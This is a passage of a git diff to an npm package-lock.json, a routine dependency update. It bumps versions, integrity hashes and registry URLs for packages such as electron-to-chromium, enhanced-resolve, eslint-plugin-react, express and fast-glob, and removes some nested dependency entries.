"sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", "dev": true, "requires": { - "dom-serializer": "0", - "domelementtype": "1" + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" } }, "dot-case": { @@ -4986,10 +20354,9 @@ "dev": true }, "electron-to-chromium": { - "version": "1.3.862", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.862.tgz", - "integrity": "sha512-o+FMbCD+hAUJ9S8bfz/FaqA0gE8OpCCm58KhhGogOEqiA1BLFSoVYLi+tW+S/ZavnqBn++n0XZm7HQiBVPs8Jg==", - "dev": true + "version": "1.4.103", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.103.tgz", + "integrity": "sha512-c/uKWR1Z/W30Wy/sx3dkZoj4BijbXX85QKWu9jJfjho3LBAXNEGAEW3oWiGb+dotA6C6BzCTxL2/aLes7jlUeg==" }, "element-resize-event": { "version": "2.0.9", @@ -4997,9 +20364,9 @@ "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, "emoji-regex": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", - "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", "dev": true }, "emojis-list": { @@ -5022,20 +20389,18 @@ } }, "enhanced-resolve": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", - "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", - "dev": true, + "version": "5.9.2", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.9.2.tgz", + "integrity": "sha512-GIm3fQfwLJ8YZx2smuHpBKkXC1yOk+OBEmKckVyL0i/ea8mqDEykK3ld5dgH1QYPNyT/lIllxV2LULnxCHaHkA==", "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.5.0", - "tapable": "^1.0.0" + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" } }, "entities": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.2.tgz", - "integrity": "sha512-dmD3AvJQBUjKpcNkoqr+x+IF0SdRtPz9Vk0uTy4yWqga9ibB6s4v++QFWNohjiUGoMlF552ZvNyXDxz5iW0qmw==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", "dev": true }, "envinfo": { @@ -5044,15 +20409,6 @@ "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", "dev": true }, - "errno": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", - "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", - "dev": true, - "requires": { - "prr": "~1.0.1" - } - }, "error-ex": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", @@ -5062,9 +20418,9 @@ } }, "es-abstract": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", - "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==", + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.2.tgz", + "integrity": "sha512-gfSBJoZdlL2xRiOCy0g8gLMryhoe1TlimjzU99L/31Z8QEGIhVQI+EWwt5lT+AuU9SnorVupXFqqOGqGfsyO6w==", "dev": true, "requires": { "call-bind": "^1.0.2", @@ -5073,15 +20429,15 @@ "get-intrinsic": "^1.1.1", "get-symbol-description": "^1.0.0", "has": "^1.0.3", - "has-symbols": "^1.0.2", + "has-symbols": "^1.0.3", "internal-slot": "^1.0.3", "is-callable": "^1.2.4", - "is-negative-zero": "^2.0.1", + "is-negative-zero": "^2.0.2", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.1", "is-string": "^1.0.7", - "is-weakref": "^1.0.1", - "object-inspect": "^1.11.0", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.0", "object-keys": "^1.1.1", "object.assign": "^4.1.2", "string.prototype.trimend": "^1.0.4", @@ -5092,8 +20448,7 @@ "es-module-lexer": { "version": "0.9.3", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", - "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==", - "dev": true + "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==" }, "es-to-primitive": { "version": "1.2.1", @@ -5119,8 +20474,7 @@ "escalade": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", - "dev": true + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" }, "escape-html": { "version": "1.0.3", @@ -5178,51 +20532,6 @@ "v8-compile-cache": "^2.0.3" }, "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - }, - "dependencies": { - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - } - } - }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, "globals": { "version": "12.4.0", "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz", @@ -5232,26 +20541,20 @@ "type-fest": "^0.8.1" } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", "dev": true, "requires": { - "ansi-regex": "^4.1.0" + "minimist": "^1.2.6" } + }, + "type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true } } }, @@ -5266,119 +20569,28 @@ "loader-utils": "^2.0.0", "object-hash": "^2.0.3", "schema-utils": "^2.6.5" - }, - "dependencies": { - "find-cache-dir": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", - "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", - "dev": true, - "requires": { - "commondir": "^1.0.1", - "make-dir": "^3.0.2", - "pkg-dir": "^4.1.0" - } - }, - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "json5": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", - "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } - }, - "loader-utils": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", - "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^3.0.0", - "json5": "^2.1.2" - } - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", - "dev": true, - "requires": { - "semver": "^6.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, - "pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - "dev": true, - "requires": { - "find-up": "^4.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } } }, "eslint-plugin-react": { - "version": "7.26.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.26.1.tgz", - "integrity": "sha512-Lug0+NOFXeOE+ORZ5pbsh6mSKjBKXDXItUD2sQoT+5Yl0eoT82DqnXeTMfUare4QVCn9QwXbfzO/dBLjLXwVjQ==", + "version": "7.29.4", + "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.29.4.tgz", + "integrity": "sha512-CVCXajliVh509PcZYRFyu/BoUEz452+jtQJq2b3Bae4v3xBUWPLCmtmBM+ZinG4MzwmxJgJ2M5rMqhqLVn7MtQ==", "dev": true, "requires": { - "array-includes": "^3.1.3", - "array.prototype.flatmap": "^1.2.4", + "array-includes": "^3.1.4", + "array.prototype.flatmap": "^1.2.5", "doctrine": "^2.1.0", - "estraverse": "^5.2.0", + "estraverse": "^5.3.0", "jsx-ast-utils": "^2.4.1 || ^3.0.0", - "minimatch": "^3.0.4", - "object.entries": "^1.1.4", - "object.fromentries": "^2.0.4", - "object.hasown": "^1.0.0", - "object.values": "^1.1.4", - "prop-types": "^15.7.2", + "minimatch": "^3.1.2", + "object.entries": "^1.1.5", + "object.fromentries": "^2.0.5", + "object.hasown": "^1.1.0", + "object.values": "^1.1.5", + "prop-types": "^15.8.1", "resolve": "^2.0.0-next.3", "semver": "^6.3.0", - "string.prototype.matchall": "^4.0.5" + "string.prototype.matchall": "^4.0.6" }, "dependencies": { "doctrine": { @@ -5390,12 +20602,6 @@ "esutils": "^2.0.2" } }, - "estraverse": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", - "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", - "dev": true - }, "resolve": { "version": "2.0.0-next.3", "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.3.tgz", @@ -5405,23 +20611,23 @@ "is-core-module": "^2.2.0", "path-parse": "^1.0.6" } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true } } }, "eslint-scope": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.0.0.tgz", - "integrity": "sha512-oYrhJW7S0bxAFDvWqzvMPRm6pcgcnWc4QnofCAqRTRfQC0JcwenzGglTtsLyIuuWFfkqDG9vz67cnttSd53djw==", - "dev": true, + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", "requires": { - "esrecurse": "^4.1.0", + "esrecurse": "^4.3.0", "estraverse": "^4.1.1" + }, + "dependencies": { + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + } } }, "eslint-utils": { @@ -5434,9 +20640,9 @@ } }, "eslint-visitor-keys": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz", - "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz", + "integrity": "sha512-6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==", "dev": true }, "espree": { @@ -5457,36 +20663,26 @@ "dev": true }, "esquery": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.3.1.tgz", - "integrity": "sha512-olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==", + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", + "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", "dev": true, "requires": { "estraverse": "^5.1.0" - }, - "dependencies": { - "estraverse": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.1.0.tgz", - "integrity": "sha512-FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw==", - "dev": true - } } }, "esrecurse": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", - "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", - "dev": true, + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", "requires": { - "estraverse": "^4.1.0" + "estraverse": "^5.2.0" } }, "estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==" }, "esutils": { "version": "2.0.3", @@ -5509,8 +20705,7 @@ "events": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", - "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", - "dev": true + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" }, "execa": { "version": "5.1.1", @@ -5529,19 +20724,51 @@ "strip-final-newline": "^2.0.0" }, "dependencies": { + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "requires": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + } + }, "is-stream": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", "dev": true }, - "onetime": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true + }, + "shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", "dev": true, "requires": { - "mimic-fn": "^2.1.0" + "shebang-regex": "^3.0.0" + } + }, + "shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "requires": { + "isexe": "^2.0.0" } } } @@ -5556,17 +20783,17 @@ } }, "express": { - "version": "4.17.1", - "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", - "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "version": "4.17.3", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.3.tgz", + "integrity": "sha512-yuSQpz5I+Ch7gFrPCk4/c+dIBKlQUxtgwqzph132bsT6qhuzss6I8cLJQz7B3rFblzd6wtcI0ZbGltH/C4LjUg==", "dev": true, "requires": { - "accepts": "~1.3.7", + "accepts": "~1.3.8", "array-flatten": "1.1.1", - "body-parser": "1.19.0", - "content-disposition": "0.5.3", + "body-parser": "1.19.2", + "content-disposition": "0.5.4", "content-type": "~1.0.4", - "cookie": "0.4.0", + "cookie": "0.4.2", "cookie-signature": "1.0.6", "debug": "2.6.9", "depd": "~1.1.2", @@ -5580,13 +20807,13 @@ "on-finished": "~2.3.0", "parseurl": "~1.3.3", "path-to-regexp": "0.1.7", - "proxy-addr": "~2.0.5", - "qs": "6.7.0", + "proxy-addr": "~2.0.7", + "qs": "6.9.7", "range-parser": "~1.2.1", - "safe-buffer": "5.1.2", - "send": "0.17.1", - "serve-static": "1.14.1", - "setprototypeof": "1.1.1", + "safe-buffer": "5.2.1", + "send": "0.17.2", + "serve-static": "1.14.2", + "setprototypeof": "1.2.0", "statuses": "~1.5.0", "type-is": "~1.6.18", "utils-merge": "1.0.1", @@ -5619,6 +20846,12 @@ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=", "dev": true + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true } } }, @@ -5640,14 +20873,14 @@ } }, "fast-deep-equal": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", - "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" }, "fast-glob": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.7.tgz", - "integrity": "sha512-rYGMRwip6lUMvYD3BTScMwT1HtAs2d71SMv66Vrxs0IekGZEjhM0pcMfjQPnknBt2zeCwQMEupiN02ZP4DiT1Q==", + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", "dev": true, "requires": { "@nodelib/fs.stat": "^2.0.2", @@ -5698,9 +20931,9 @@ } }, "fbjs": { - "version": "0.8.17", - "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.17.tgz", - "integrity": "sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=", + "version": "0.8.18", + "resolved": "https://registry.npmjs.org/fbjs/-/fbjs-0.8.18.tgz", + "integrity": "sha512-EQaWFK+fEPSoibjNy8IxUtaFOMXcWsY0JaVrQoZR9zC8N2Ygf9iDITPWjUTVIax95b6I742JFLqASHfsag/vKA==", "requires": { "core-js": "^1.0.0", "isomorphic-fetch": "^2.1.1", @@ -5708,7 +20941,7 @@ "object-assign": "^4.1.0", "promise": "^7.1.1", "setimmediate": "^1.0.5", - "ua-parser-js": "^0.7.18" + "ua-parser-js": "^0.7.30" }, "dependencies": { "core-js": { @@ -5745,28 +20978,6 @@ "flat-cache": "^2.0.1" } }, - "file-loader": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-1.1.11.tgz", - "integrity": "sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==", - "dev": true, - "requires": { - "loader-utils": "^1.0.2", - "schema-utils": "^0.4.5" - }, - "dependencies": { - "schema-utils": { - "version": "0.4.7", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.4.7.tgz", - "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", - "dev": true, - "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" - } - } - } - }, "file-saver": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.5.tgz", @@ -5819,9 +21030,9 @@ } }, "find-cache-dir": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", - "integrity": 